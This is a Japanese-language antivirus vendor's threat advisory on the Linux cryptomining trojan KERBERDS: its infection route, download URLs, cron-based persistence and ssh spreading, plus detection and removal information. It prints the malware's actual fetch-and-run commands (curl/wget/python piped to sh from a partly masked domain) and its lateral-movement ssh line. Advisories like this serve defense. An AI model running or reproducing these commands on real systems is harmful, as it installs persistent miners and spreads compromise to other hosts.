Trojan.SH.KERBERDS.A
2019年10月25日
プラットフォーム:
Linux
危険度:
ダメージ度:
感染力:
感染確認数:
情報漏えい:
- マルウェアタイプ: トロイの木馬型
- 破壊活動の有無: なし
- 暗号化: なし
- 感染報告の有無: はい
概要
感染経路 インターネットからのダウンロード
トレンドマイクロは、このマルウェアをNoteworthy（要注意）に分類しました。
トレンドマイクロは、自身の不正活動を隠ぺいするために ld.so.preloadベースのルートキットを利用する新しいバージョンの仮想通貨発掘マルウェア「KERBERDS」を確認しました。さらにマルウェアは、DNS TXTレコード内のCNCトラフィックを隠ぺいします。
マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。
詳細
ファイルサイズ 3,796 bytes
タイプ Other
メモリ常駐 なし
発見日 2019年10月24日
ペイロード URLまたはIPアドレスに接続
侵入方法
マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。
ダウンロード活動
マルウェアは、以下のWebサイトにアクセスし、不正なファイルをダウンロードして実行します。
- http://img.{BLOCKED}t.com/chatres/89/msg/20191022/78e3582c42824f17aba17feefb87ea5f.png - detected as Trojan.Linux.KERBERDS.UWEJL (64-bit)
- http://img.{BLOCKED}t.com/chatres/89/msg/20191022/2be662ee79084035914e9d6a6d6be10d.png - detected as Trojan.Linux.KERBERDS.UWEJL (32-bit)
- http://cdn.{BLOCKED}oai.com/cvd/dist/fileUpload/1571723350789/0.25579108623802416.jpg - detected as Trojan.Linux.KERBERDS.UWEJL (64-bit)
- http://cdn.{BLOCKED}oai.com/cvd/dist/fileUpload/1571723382710/9.915787746614242.jpg - detected as Trojan.Linux.KERBERDS.UWEJL (32-bit)
- https://user-images.{BLOCKED}usercontent.com/56861392/67261951-83ebf080-f4d5-11e9-9807-d0919c3b4b74.jpg - detected as Trojan.Linux.KERBERDS.UWEJL (64-bit)
- https://user-images.{BLOCKED}usercontent.com/56861392/67262078-0aa0cd80-f4d6-11e9-8639-63829755ed31.jpg - detected as Trojan.Linux.KERBERDS.UWEJL (32-bit)
マルウェアは、以下のファイル名でダウンロードしたファイルを保存します。
- 48f14124d703c2
その他
マルウェアは、以下を実行します。
- It creates the following cron jobs for persistence:
- Path: /var/spool/cron/crontabs/root
Schedule: Every 10 minutes
Command: */10 * * * * (curl -fsSL -m15 lsd.{BLOCKED}ten.org||wget -q -T15 -O- lsd.{BLOCKED}ten.org||python -c 'import urllib;print urllib.urlopen(\"http://lsd.{BLOCKED}ten.org\").read()')|sh - Path: /etc/crontab
Schedule: Every 10 minutes
Command: */10 * * * * root (curl -fsSL -m15 lsd.{BLOCKED}ten.org||wget -q -T15 -O- lsd.{BLOCKED}ten.org||python -c 'import urllib;print urllib.urlopen("http://lsd.{BLOCKED}ten.org").read()'||/usr/local/sbin/48f14124d703c2)|sh
- Path: /var/spool/cron/crontabs/root
- It removes the immutable property of the following files:
- /etc/cron*
- /var/spool/cron*
- It executes the following command on every host in the known_hosts file via ssh:
- (curl -fsSL lsd.{BLOCKED}ten.org||wget -q -O- lsd.{BLOCKED}ten.org||python -c 'import urllib;print urllib.urlopen(\"http://lsd.{BLOCKED}ten.org\").read()')|sh >/dev/null 2>&1 &
<補足>
ダウンロード活動
マルウェアは、以下のWebサイトにアクセスし、不正なファイルをダウンロードして実行します。
- http://img.{BLOCKED}t.com/chatres/89/msg/20191022/78e3582c42824f17aba17feefb87ea5f.png - 「Trojan.Linux.KERBERDS.UWEJL (64-bit)」として検出
- http://img.{BLOCKED}t.com/chatres/89/msg/20191022/2be662ee79084035914e9d6a6d6be10d.png - 「Trojan.Linux.KERBERDS.UWEJL (32-bit)」として検出
- http://cdn.{BLOCKED}oai.com/cvd/dist/fileUpload/1571723350789/0.25579108623802416.jpg - 「Trojan.Linux.KERBERDS.UWEJL (64-bit)」として検出
- http://cdn.{BLOCKED}oai.com/cvd/dist/fileUpload/1571723382710/9.915787746614242.jpg - 「Trojan.Linux.KERBERDS.UWEJL (32-bit)」として検出
- https://user-images.{BLOCKED}usercontent.com/56861392/67261951-83ebf080-f4d5-11e9-9807-d0919c3b4b74.jpg - 「Trojan.Linux.KERBERDS.UWEJL (64-bit)」として検出
- https://user-images.{BLOCKED}usercontent.com/56861392/67262078-0aa0cd80-f4d6-11e9-8639-63829755ed31.jpg - 「Trojan.Linux.KERBERDS.UWEJL (32-bit)」として検出
その他
マルウェアは、以下を実行します。
- マルウェアは、パーシステンス（持続性）のために、以下のcronジョブを作成します。
- パス: /var/spool/cron/crontabs/root
- スケジュール: 10分毎
- コマンド: */10 * * * * (curl -fsSL -m15 lsd.{BLOCKED}ten.org||wget -q -T15 -O- lsd.{BLOCKED}ten.org||python -c 'import urllib;print urllib.urlopen(\"http://lsd.{BLOCKED}ten.org\").read()')|sh
- パス: /etc/crontab
スケジュール: 10分毎
コマンド: */10 * * * * root (curl -fsSL -m15 lsd.{BLOCKED}ten.org||wget -q -T15 -O- lsd.{BLOCKED}ten.org||python -c 'import urllib;print urllib.urlopen("http://lsd.{BLOCKED}ten.org").read()'||/usr/local/sbin/48f14124d703c2)|sh
- マルウェアは、以下のファイルの不変プロパティを削除します。
- /etc/cron*
- /var/spool/cron*
- マルウェアは、sshを介して、ファイル「known_hosts」内のすべてのホスト上で以下のコマンドを実行します。
対応方法
対応検索エンジン: 9.850
初回 VSAPI パターンバージョン 15.450.07
初回 VSAPI パターンリリース日 2019年10月24日
VSAPI OPR パターンバージョン 15.451.00
VSAPI OPR パターンリリース日 2019年10月25日
最新のバージョン（エンジン、パターンファイル）を導入したウイルス対策製品を用い、ウイルス検索を実行してください。「Trojan.SH.KERBERDS.A」と検出したファイルはすべて削除してください。 検出されたファイルが、弊社ウイルス対策製品により既に駆除、隔離またはファイル削除の処理が実行された場合、ウイルスの処理は完了しており、他の削除手順は特にありません。
ご利用はいかがでしたか？ アンケートにご協力ください